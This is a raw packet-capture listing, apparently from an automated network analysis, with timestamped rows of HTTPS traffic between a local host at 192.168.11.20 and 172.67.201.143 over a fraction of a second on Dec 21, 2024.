Dec 21, 2024 19:23:05.239721060 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.239934921 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.240025043 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.240223885 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.240641117 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.240796089 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.240889072 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.241475105 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.241695881 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.242300034 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.242510080 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.242558002 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.242865086 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.243053913 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.243175983 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.243412018 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.244149923 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.244404078 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.244528055 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.244693041 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.244801044 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.245593071 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.245804071 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.246294022 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.246504068 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.246504068 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.246889114 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.247035980 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.247138977 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.247373104 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.247545004 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.248215914 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.248414040 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.248538971 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.248677015 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.248780012 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.249588013 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.249792099 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.249887943 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.250039101 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.250140905 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.250302076 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.250310898 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.251164913 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.251338959 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.251347065 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.251482010 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.251837015 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.251979113 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.252068996 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.252501011 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.252644062 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.252744913 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.253581047 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.253772974 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.253818035 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.261574984 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.261585951 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.261804104 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.261811972 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.261897087 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.262067080 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.264271021 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.264281988 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.264457941 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.264559031 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.264569044 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.264636993 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.264754057 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.265404940 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.265511036 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.265614033 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.265753984 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.265759945 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.265888929 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.266138077 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.266340017 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.266489983 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.266743898 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.266751051 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.266956091 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.267203093 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.267396927 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.267472029 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.268748999 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.268981934 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.269254923 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.269393921 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.269462109 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.269809961 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.270045996 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.270790100 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.270972967 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.271037102 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.271595001 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.271814108 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.271898985 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.272129059 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.272821903 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.273061991 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.275369883 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.275381088 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.275556087 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.275609016 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.275615931 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.275687933 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.275820017 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.275852919 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.276065111 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.276154041 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.276401997 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.276408911 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.276556015 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.278656960 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.278667927 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.278803110 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.278911114 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.278914928 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.278991938 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.279122114 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.280265093 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.280327082 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.280448914 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.280591011 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.280594110 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.280860901 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.280955076 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.281160116 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.281891108 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.282164097 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.282816887 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.283031940 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.283685923 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.283902884 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.284487009 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.284584999 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.284686089 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.284691095 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.284776926 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.285119057 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.285348892 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.285353899 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.285943031 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.286113977 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.286118031 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.286324024 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.286427975 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.286633968 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.286984921 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.287153959 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.287290096 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.287520885 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.288285971 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.288444042 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.288533926 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.289093018 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.289340973 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.289686918 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.289870977 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.290760994 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.290832996 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.290910959 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.291017056 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.291019917 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.291210890 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.291591883 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.291743040 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.292509079 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.292669058 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.292759895 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.293318033 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.293539047 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.293617010 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.301758051 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.301769972 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.301991940 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.302001953 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.302092075 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.302195072 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.303400040 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.303411007 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.303575039 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.303720951 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.303730965 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.303951025 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.305233002 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.305244923 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.305421114 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.305509090 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.305516005 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.305588007 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.305715084 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.307235003 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.307245970 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.307473898 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.307481050 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.307538033 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.307694912 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.308463097 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.308581114 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.308629990 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.308721066 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.308727026 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.308866978 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.310389042 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.310400009 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.310594082 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.310600042 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.310765028 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.311567068 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.311633110 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.311753035 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.311866999 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.311872005 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.312397957 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.312532902 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.312539101 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.312633991 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.312715054 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.312922955 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.313256979 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.313317060 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.313323021 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.313546896 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.313767910 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.314007998 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.314330101 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.314330101 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.314337969 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.314532042 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.315483093 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.315757036 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.316524029 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.316586971 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.316715956 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.316723108 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.316809893 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.316950083 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.317517042 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.317655087 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.317755938 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.318052053 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.318253040 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.318299055 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.319355011 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.319591999 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.319598913 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.319919109 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.320064068 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.320070028 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.320163965 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.320204973 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.320410967 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.320416927 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.320979118 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.321140051 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.321145058 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.321227074 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.321321011 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.321772099 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.321971893 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.322048903 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.322053909 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.322530031 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.322762966 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.322770119 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.322854996 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.323676109 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.323831081 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.323836088 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.323920965 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.324214935 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.324388981 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.324395895 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.324596882 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.324853897 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.325090885 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.325876951 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.326025009 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.326179981 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.326625109 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.326781988 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.326862097 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.326865911 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.326960087 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.327167988 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.327405930 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.327413082 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.329715014 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.329725027 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.329859972 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.329859972 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.329866886 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.329907894 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.330004930 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.331264019 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.331274033 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.331449032 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.331454039 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.331548929 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.331733942 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.333105087 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.333115101 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.333266020 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.333381891 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.333388090 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.334938049 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.334949970 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.335088968 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.335093975 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.335163116 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.335253954 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.336648941 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.336730003 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.336805105 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.336905003 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.336910963 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.337114096 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.337466955 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.337636948 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.337749958 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.337754011 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.338340998 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.338481903 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.338489056 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.338560104 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.338876963 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.339085102 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.339090109 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.339313030 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.339776039 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.339961052 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.340054035 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.340595961 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.340740919 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.340833902 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.340837955 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.340938091 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.341454029 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.341654062 CET	49743	443	192.168.11.20	172.67.201.143
